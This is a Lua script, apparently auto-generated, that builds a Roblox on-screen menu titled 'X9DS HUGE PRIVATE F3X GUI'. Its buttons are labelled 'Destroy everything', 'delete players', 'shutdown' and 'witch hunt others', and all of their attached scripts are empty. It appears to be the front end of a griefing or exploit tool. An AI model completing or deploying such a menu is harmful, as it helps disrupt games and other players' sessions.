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Lua

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public

Author

matvejdudcenko64

Created

2026-04-22T15:20:00.967581Z

Updated

2026-04-22T15:20:00.967581Z

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]=]

-- Instances: 95 | Scripts: 45 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;


-- StarterGui.ScreenGui.ImageLabel
G2L["2"] = Instance.new("ImageLabel", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2"]["Image"] = [[rbxassetid://93092188749697]];
G2L["2"]["Size"] = UDim2.new(0, 533, 0, 757);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Position"] = UDim2.new(0.25624, 0, 0.02216, 0);


-- StarterGui.ScreenGui.ImageLabel.LocalScript
G2L["3"] = Instance.new("LocalScript", G2L["2"]);



-- StarterGui.ScreenGui.ImageLabel.Frame
G2L["4"] = Instance.new("Frame", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 5;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Size"] = UDim2.new(0, 533, 0, 757);
G2L["4"]["Position"] = UDim2.new(-0.00046, 0, -0.00054, 0);
G2L["4"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4"]["BackgroundTransparency"] = 0.2;


-- StarterGui.ScreenGui.ImageLabel.Frame.TextLabel
G2L["5"] = Instance.new("TextLabel", G2L["4"]);
G2L["5"]["BorderSizePixel"] = 5;
G2L["5"]["TextSize"] = 35;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Size"] = UDim2.new(0, 386, 0, 58);
G2L["5"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5"]["Text"] = [[X9DS HUGE PRIVATE F3X GUI]];


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame
G2L["6"] = Instance.new("ScrollingFrame", G2L["4"]);
G2L["6"]["Active"] = true;
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["Size"] = UDim2.new(0, 527, 0, 711);
G2L["6"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Position"] = UDim2.new(0, 0, 0.08454, 0);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["BackgroundTransparency"] = 1;


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["6"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 5;
G2L["7"]["TextSize"] = 36;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["7"]["Text"] = [[F3X]];
G2L["7"]["Position"] = UDim2.new(0.02635, 0, 0.00667, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["6"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["BorderSizePixel"] = 5;
G2L["9"]["TextSize"] = 36;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["9"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["9"]["Text"] = [[theme]];
G2L["9"]["Position"] = UDim2.new(0.70376, 0, 0.00667, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["6"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 5;
G2L["b"]["TextSize"] = 36;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["b"]["Text"] = [[HINT]];
G2L["b"]["Position"] = UDim2.new(0.02635, 0, 0.04828, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["6"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 5;
G2L["d"]["TextSize"] = 36;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["d"]["Text"] = [[Message]];
G2L["d"]["Position"] = UDim2.new(0.31098, 0, 0.04828, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["6"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["BorderSizePixel"] = 5;
G2L["f"]["TextSize"] = 36;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["f"]["Text"] = [[teams]];
G2L["f"]["Position"] = UDim2.new(0.59561, 0, 0.04828, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["6"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 5;
G2L["11"]["TextSize"] = 36;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["11"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["11"]["Text"] = [[Decal 1]];
G2L["11"]["Position"] = UDim2.new(0.02635, 0, 0.08725, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["6"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 5;
G2L["13"]["TextSize"] = 36;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["13"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["13"]["Text"] = [[Decal 2]];
G2L["13"]["Position"] = UDim2.new(0.31098, 0, 0.08725, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["6"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["BorderSizePixel"] = 5;
G2L["15"]["TextSize"] = 36;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["15"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["15"]["Text"] = [[Sky 1]];
G2L["15"]["Position"] = UDim2.new(0.59561, 0, 0.08725, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["6"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 5;
G2L["17"]["TextSize"] = 36;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["17"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["17"]["Text"] = [[Sky 2]];
G2L["17"]["Position"] = UDim2.new(0.02635, 0, 0.12688, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["6"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 5;
G2L["19"]["TextSize"] = 36;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["19"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["19"]["Text"] = [[Trippy Sky]];
G2L["19"]["Position"] = UDim2.new(0.31098, 0, 0.12688, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["6"]);
G2L["1b"]["TextWrapped"] = true;
G2L["1b"]["BorderSizePixel"] = 5;
G2L["1b"]["TextSize"] = 36;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1b"]["Text"] = [[Realm]];
G2L["1b"]["Position"] = UDim2.new(0.59561, 0, 0.12688, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1d"] = Instance.new("TextButton", G2L["6"]);
G2L["1d"]["TextWrapped"] = true;
G2L["1d"]["BorderSizePixel"] = 5;
G2L["1d"]["TextSize"] = 36;
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1d"]["Text"] = [[toadroast]];
G2L["1d"]["Position"] = UDim2.new(0.02635, 0, 0.16519, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1e"] = Instance.new("LocalScript", G2L["1d"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["6"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 5;
G2L["1f"]["TextSize"] = 36;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["Size"] = UDim2.new(0, 282, 0, 33);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1f"]["Text"] = [[Destroy everything]];
G2L["1f"]["Position"] = UDim2.new(0.31098, 0, 0.16519, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["6"]);
G2L["21"]["TextWrapped"] = true;
G2L["21"]["BorderSizePixel"] = 5;
G2L["21"]["TextSize"] = 36;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["Size"] = UDim2.new(0, 201, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["21"]["Text"] = [[gravity hammer]];
G2L["21"]["Position"] = UDim2.new(0.02635, 0, 0.20416, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["6"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["BorderSizePixel"] = 5;
G2L["23"]["TextSize"] = 36;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["Size"] = UDim2.new(0, 77, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["23"]["Text"] = [[666]];
G2L["23"]["Position"] = UDim2.new(0.4495, 0, 0.20416, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["25"] = Instance.new("TextButton", G2L["6"]);
G2L["25"]["TextWrapped"] = true;
G2L["25"]["BorderSizePixel"] = 5;
G2L["25"]["TextSize"] = 36;
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["25"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["25"]["Text"] = [[particles]];
G2L["25"]["Position"] = UDim2.new(0.62786, 0, 0.20416, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["25"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["27"] = Instance.new("TextButton", G2L["6"]);
G2L["27"]["TextWrapped"] = true;
G2L["27"]["BorderSizePixel"] = 5;
G2L["27"]["TextSize"] = 36;
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["27"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["27"]["Text"] = [[grandsola]];
G2L["27"]["Position"] = UDim2.new(0.02635, 0, 0.24181, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["28"] = Instance.new("LocalScript", G2L["27"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["29"] = Instance.new("TextButton", G2L["6"]);
G2L["29"]["TextWrapped"] = true;
G2L["29"]["BorderSizePixel"] = 5;
G2L["29"]["TextSize"] = 36;
G2L["29"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["29"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["29"]["Text"] = [[sonic exe]];
G2L["29"]["Position"] = UDim2.new(0.31098, 0, 0.24181, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["29"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2b"] = Instance.new("TextButton", G2L["6"]);
G2L["2b"]["TextWrapped"] = true;
G2L["2b"]["BorderSizePixel"] = 5;
G2L["2b"]["TextSize"] = 36;
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2b"]["Text"] = [[mosque]];
G2L["2b"]["Position"] = UDim2.new(0.59561, 0, 0.24181, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2b"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["6"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["BorderSizePixel"] = 5;
G2L["2d"]["TextSize"] = 36;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2d"]["Text"] = [[mystic]];
G2L["2d"]["Position"] = UDim2.new(0.02635, 0, 0.27945, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["6"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["BorderSizePixel"] = 5;
G2L["2f"]["TextSize"] = 36;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2f"]["Text"] = [[ball rain]];
G2L["2f"]["Position"] = UDim2.new(0.28441, 0, 0.27945, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["31"] = Instance.new("TextButton", G2L["6"]);
G2L["31"]["TextWrapped"] = true;
G2L["31"]["BorderSizePixel"] = 5;
G2L["31"]["TextSize"] = 36;
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["31"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["31"]["Text"] = [[john doe]];
G2L["31"]["Position"] = UDim2.new(0.52688, 0, 0.27966, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["33"] = Instance.new("TextButton", G2L["6"]);
G2L["33"]["TextWrapped"] = true;
G2L["33"]["BorderSizePixel"] = 5;
G2L["33"]["TextSize"] = 36;
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["Size"] = UDim2.new(0, 223, 0, 33);
G2L["33"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["33"]["Text"] = [[witch hunt others]];
G2L["33"]["Position"] = UDim2.new(0.02594, 0, 0.31533, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["35"] = Instance.new("TextButton", G2L["6"]);
G2L["35"]["TextWrapped"] = true;
G2L["35"]["BorderSizePixel"] = 5;
G2L["35"]["TextSize"] = 36;
G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["Size"] = UDim2.new(0, 211, 0, 33);
G2L["35"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["35"]["Text"] = [[delete players]];
G2L["35"]["Position"] = UDim2.new(0.48514, 0, 0.31533, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["36"] = Instance.new("LocalScript", G2L["35"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["37"] = Instance.new("TextButton", G2L["6"]);
G2L["37"]["TextWrapped"] = true;
G2L["37"]["BorderSizePixel"] = 5;
G2L["37"]["TextSize"] = 36;
G2L["37"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["37"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["37"]["Size"] = UDim2.new(0, 126, 0, 33);
G2L["37"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["37"]["Text"] = [[unanchor]];
G2L["37"]["Position"] = UDim2.new(0.02594, 0, 0.34769, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["38"] = Instance.new("LocalScript", G2L["37"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["39"] = Instance.new("TextButton", G2L["6"]);
G2L["39"]["TextWrapped"] = true;
G2L["39"]["BorderSizePixel"] = 5;
G2L["39"]["TextSize"] = 36;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["39"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["39"]["Text"] = [[shutdown]];
G2L["39"]["Position"] = UDim2.new(0.29959, 0, 0.34749, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["6"]);
G2L["3b"]["TextWrapped"] = true;
G2L["3b"]["BorderSizePixel"] = 5;
G2L["3b"]["TextSize"] = 36;
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3b"]["Text"] = [[shedletsky]];
G2L["3b"]["Position"] = UDim2.new(0.58422, 0, 0.34749, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);



-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3d"] = Instance.new("TextButton", G2L["6"]);
G2L["3d"]["TextWrapped"] = true;
G2L["3d"]["BorderSizePixel"] = 5;
G2L["3d"]["TextSize"] = 36;
G2L["3d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3d"]["Size"] = UDim2.new(0, 177, 0, 33);
G2L["3d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3d"]["Text"] = [[char all x9d]];
G2L["3d"]["Position"] = UDim2.new(0.02445, 0, 0.38183, 0);


-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3e"] = Instance.new("LocalScript", G2L["3d"]);



